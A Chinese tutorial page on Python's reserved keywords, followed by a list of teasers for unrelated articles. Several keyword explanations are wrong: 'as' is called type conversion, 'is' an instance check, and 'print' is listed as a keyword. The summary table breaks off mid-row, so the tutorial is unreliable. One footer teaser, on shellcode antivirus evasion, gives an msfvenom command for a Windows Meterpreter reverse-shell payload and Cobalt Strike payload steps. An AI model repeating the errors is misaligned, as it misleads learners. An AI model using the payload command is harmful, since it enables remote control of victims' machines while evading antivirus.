Python学习笔记 - 探索33个保留关键字

news2024/12/29 13:01:52

Python编程语言中有33个保留关键字,这些关键字在Python语法中有特殊含义,不能用作变量名、函数名或其他标识符。

33个保留字(关键字)

在这里插入图片描述

不能冲突的关键词 33 个

来看看都有哪些关键字。

import keyword
print(",".join(keyword.kwlist))
FalseNoneTrueandasassertbreakclasscontinuedefdelelifelseexceptfinallyforfromglobalifimportinislambdanonlocalnotorpassraisereturntrywhilewithyield

不用刻意去记,这些都会有区别于普通代码的颜色提示。

  • and: 用于表达式运算,逻辑与操作
  • as: 用于类型转换
  • assert: 断言,用于判断变量或条件表达式的值是否为真
  • break: 中断循环语句的执行
  • class: 用于定义类
  • continue: 继续执行下一次循环
  • def: 用于定义函数或方法
  • del: 删除变量或者序列的值
  • elif: 条件语句 与if else 结合使用
  • else: 条件语句 条件语句,与if,elif结合使用。也可以用于异常和循环使用
  • except: 包括捕获异常后的操作代码,与try,finally结合使用
  • finally: 用于异常语句,出现异常后,始终要执行finally包含的代码块。与try,except结合使用
  • from: 用于导入模块,与import结合使用
  • global: 定义全局变量
  • if: 条件语句,与else,elif结合使用
  • import: 用于导入模块,与from 结合使用
  • in: 判断变量是否存在序列中
  • is: 判断变量是否为某个类的实例
  • lambda: 定义匿名函数
  • not: 用于表达式运算,逻辑非操作
  • or: 用于表达式运算,逻辑或操作
  • pass: 空的类,函数,方法的占位符
  • print: 打印语句
  • raise: 异常抛出操作
  • return: 用于从函数返回计算结果
  • try: 包含可能会出现异常的语句,与except,finally结合使用
  • while: 循环语句
  • with: 简化Python的语句
  • yield: 用于从函数依次返回值

help(keywords 对应关键字) 可以通过键入Python 解释器随时查看此列表。保留字区分大小写,必须完全按照所示使用,除了 False , NoneTrue 其他都是区分大小写。

以下是关于这些关键字的一些例子和解释:

and:这是一个逻辑运算符,用于联合两个条件语句。例如:

if age > 18 and age < 60:
    print("You are an adult")

as:在导入模块时使用,为模块提供别名。例如:

import numpy as np

assert:用于测试条件,如果条件为真,那么程序继续执行,如果条件为假,则程序会报错。例如:

assert x > 0, "Error: x cannot be negative"

break:用于终止最内层循环。例如:

for i in range(10):
    if i == 5:
        break

汇总的用法如下

关键字说明例子
False表示布尔类型的假值x = False
True表示布尔类型的真值x = True
None表示空值或缺失值x = None
and逻辑与运算符if x > 0 and y < 10:
as定义别名或上下文管理器import math as m
assert断言语句,用于检查条件是否为真assert x > 0
break跳出当前循环while True: break
class定义类class MyClass: pass
continue跳过本次循环,进入下一次循环for i in range(10): continue
def定义函数def my_function(): pass
del删除变量或列表中的元素del xdel my_list[0]
elif条件语句中的"否则如果"分支if x < 0: print("Negative") elif x > 0: print("Positive")
else条件语句中的"否则"分支if x > 0: print("Positive") else: print("Non-positive")
except异常处理语句中的异常类型try: ... except ValueError: ...
finally异常处理语句中的最终执行块try: ... finally: ...
for遍历迭代对象的循环for i in range(10): print(i)
from从模块中导入特定内容from math import pi
global声明全局变量global x
if条件语句中的条件判断if x > 0: print("Positive")
import导入模块import math
in判断元素是否在容器中if x in my_list: print("Found")
is判断两个对象是否相同if x is None: print("x is None")
lambda创建匿名函数add = lambda x, y: x + y
nonlocal声明非局部变量nonlocal x
not逻辑非运算符if not x: print("Not true")
or逻辑或运算符if x > 0 or y > 0: print("At least one is positive")
pass占位语句,什么也不做def my_function(): pass
raise抛出异常raise ValueError("Invalid value")
return返回函数结果def

这些关键字在Python中有特殊的含义,我们不能使用它们作为变量名、函数名或者其他标识符,否则会引发错误。

for = 1
SyntaxError: invalid syntax

如果我们尝试定义一个名为and的变量,Python会报错:

and = 1  # SyntaxError: invalid syntax

同样,我们也不能将这些关键字用作函数名:

def break():  # SyntaxError: invalid syntax
    pass

保留字的检查

我们可以通过内置模块 keyword 来检查一个字符串是否是Python的保留字。

import keyword

def is_keyword(s):
    return keyword.iskeyword(s)

print(is_keyword('and'))  # True
print(is_keyword('hello'))  # False

使用 in 运算符进行检查。

import keyword

print("yield" in keyword.kwlist)
print("Yield" in keyword.kwlist)

True
False

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/596639.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

面试专题:java多线程(3)---关于 Atomic 原子类

1.介绍一下Atomic 原子类Atomic 翻译成中文是原子的意思。在化学上&#xff0c;我们知道原子是构成一般物质的最小单位&#xff0c;在化学反应中是不可分割的。在我们这里 Atomic 是指一个操作是不可中断的。即使是在多个线程一起执行的时候&#xff0c;一个操作一旦开…

cpolar内网穿透创建实现远程办公---无需公网IP

文章目录 前言1.本地访问简介2. cpolar内网穿透3. 公网远程访问4. 固定公网地址 转发自cpolar极点云的文章&#xff1a;外网远程访问公司内网用友畅捷通T财务软件 – 远程办公 前言 用友畅捷通T适用于异地多组织、多机构对企业财务汇总的管理需求&#xff1b;全面支持企业对远…

JavaScript 客户端脚本语言 选择器、事件

JavaScript发展史 JavaScript介绍 JavaScript ( 简称 JS): 是一种轻量级客户端脚本语言&#xff0c;通常被直接嵌入 HTML 页面&#xff0c;在浏览器上执 行。 JavaScript 的主要用途 : 使网页具有交互性&#xff08;如果不去使用js&#xff0c;只是使用html css那么只是…

chatgpt赋能python:Python主网站的SEO优化

Python主网站的SEO优化 作为一名有10年Python编程经验的工程师&#xff0c;我一直非常关注Python官方网站的SEO优化&#xff0c;因为官方网站对于传播Python语言的影响至关重要。在这篇文章中&#xff0c;我将介绍一些Python主网站的SEO优化策略&#xff0c;并总结一些结论&am…

程序切片(定义+用途)

程序切片(定义用途) 介绍 让我们假设我们测试了一个程序 p 并失败了&#xff08;错误的 输出&#xff09;。然后我们想找出导致失败&#xff08;故障&#xff09;的原因。 现在假设我们要更改程序的一部分。我们可能会问&#xff1a;程序的哪些其他部分受到影响 我们想找到导致…

1728_c语言标准库memcpy函数的简单使用

全部学习汇总&#xff1a; GreyZhang/c_basic: little bits of c. (github.com) 欢迎路过的YUAN类朋友相互交流&#xff0c;以下是我的联系方式&#xff1a; Email&#xff1a;greyzhang126.com 微信&#xff1a;grey0612 静态代码检测遇到了一处memcpy函数使用的错误&#…

如何DIY项目资源私有检测规则

本地资源检测是UWA推出的、面向于静态资源的全量分析。可以全面自动检测项目静态工程内各项资源、代码和设置&#xff0c;能够帮助项目组制定合理的资源与代码标准&#xff0c;及时发现潜在的性能问题和异常错误&#xff0c;建立有效的开发规范。 为了在游戏优化过程中持续与U…

计网之HTTPS的安全机制

文章目录 一. 什么是HTTPS?二. HTTPS中的加密机制(SSL/TLS)1. HTTP的安全问题2. 对称加密3. 非对称加密4. 中间人问题5. 证书 一. 什么是HTTPS? 在网络传输过程中, 存在着运营商劫持和一些黑客入侵这样的危险, 在之前只有HTTP的明文传输数据环境下, 这样的问题是有些泛滥的,…

java 利用poi根据excel模板导出数据(二)

本文是 java 利用poi根据excel模板导出数据&#xff08;一&#xff09; 的续篇 经常有poi的开发一定会碰到三个名词&#xff1a; HSSFWorkbook 、 XSSFWorkbook、SXSSFWorkbook&#xff1b; 这三个都是导出excel的形式&#xff0c;具体区别&#xff1a; HSSFworkbook,XSSF…

bert中文文本摘要代码(1)

bert中文文本摘要代码 写在最前面关于BERT使用transformers库进行微调 load_data.py自定义参数collate_fn函数BertDataset类主函数 tokenizer.py创建词汇表encode函数decode函数 写在最前面 熟悉bert&#xff0b;文本摘要的下游任务微调的代码&#xff0c;方便后续增加组件实现…

Vue.js+nodejs高校水电费缴费设备维修管理系统

本大学城水电管理系统管理员功能有个人中心&#xff0c;用户管理&#xff0c;领用设备管理&#xff0c;消耗设备管理&#xff0c;设备申请管理&#xff0c;设备派发管理&#xff0c;状体汇报管理&#xff0c;领用报表管理&#xff0c;消耗报表管理&#xff0c;班组报表管理&…

面向对象编程 实验二 MouseHit--SDUWH

来源网络。仅供参考 面向对象编程技术 实验二实验报告 1.实验要求 熟悉Visual Studio的环境与使用,创建一个新的工程以EasyWin为示例程序完成第一个Windows程序的编写、调试、运行。练习命令行的方式进行程序创建。 在理解Windows按键与鼠标的基础上,开发一个小型的打字…

feat:使用企业微信JS-SDK的onMenuShareAppMessage()实现点击转发自定义分享内容(TypeScript)

背景&#xff1a;企业微信应用使用企业微信JS-SDK的分享接口实现分享样式自定义 原生&#xff1a; 需要实现成&#xff1a; 企业微信JS-SDK 是企业微信面向网页开发者提供的 基于企业微信内 的网页开发工具包。 通过使用企业微信JS-SDK&#xff0c;网页开发者 可借助企业微信…

Python-shellcode免杀分离

#Python-原生态-MSF&CS&生成&执行代码 MSF-payload&#xff1a;msfvenom -p windows/meterpreter/reverse_tcp lhostX.X.X.X lport6688 -f c CS-payload&#xff1a; 攻击--生成后门--payload生成器--选择监听器和输出格式为C语言 python 3.10-32位&#xff0c;注…

如何将完成的报告从 FastReport .NET 导出到 S3

FastReport .NET 报表生成器FastReport .NET是适用于.NET Core 3&#xff0c;ASP.NET&#xff0c;MVC和Windows窗体的全功能报告库。使用FastReport .NET&#xff0c;您可以创建独立于应用程序的.NET报告。 简单存储服务是一种用于存储大量数据的服务。该服务将存储的数据划分…

BERT在GLUE数据集构建任务(未完待续。。。)

0 Introduction 谷歌开源的BERT项目在Github上&#xff0c;视频讲解可以参考B站上的一个视频 1 GLUE部分基准数据集介绍 GLUE数据集官网GLUE数据集下载&#xff0c;建议下载运行这个.py脚本文件进行数据集的下载&#xff0c;如果连接无法打开&#xff0c;运行下面代码。运行…

想知道视频转音频怎么操作?快来看看这三种方法

在数字化时代&#xff0c;视频已成为人们生活、学习、工作中不可或缺的元素。不过&#xff0c;在某些情况下&#xff0c;仅通过视觉体验来获取信息可能并不方便或实用。比如&#xff0c;对于听障人士&#xff0c;他们无法通过视觉方式获取信息&#xff0c;但可以通过听觉方式接…

一文教你高速PCB信号完整性仿真怎么做

在高速PCB设计中&#xff0c;信号完整性是确保信号在电路板上传输过程中的稳定性和可靠性的重点&#xff0c;通过仿真工具进行信号完整性可帮助工程师在设计阶段解决信号完整性问题&#xff0c;从而优化电路板的性能和可靠性。那么如何做好PCB信号完整性仿真&#xff1f;下面来…

1.3 eBPF的工作原理初探

写在前面 上一节提到过,eBPF程序是面向BPF体系结构指令集编写的,它并不直接运行在Linux内核中,我们可以理解为它是运行在eBPF虚拟机,由eBPF虚拟机来执行eBPF字节码,就像java运行在jvm一样。 我们用一张原理图来看下eBPF程序的编译,加载,验证,钩子,映射等结点。 如上是…

Matlab查找整行为0的行号并记录

find函数 该函数可以查找非零元素的索引和值 例如&#xff1a; X 331 0 20 1 10 0 4 k find(X) %返回非零元素的索引号&#xff0c;即按列检索对应数值的序号 k_0 find(~X) %返回零元素的索引号 matlab检索索引号的方式如下&#xff1a;输出结…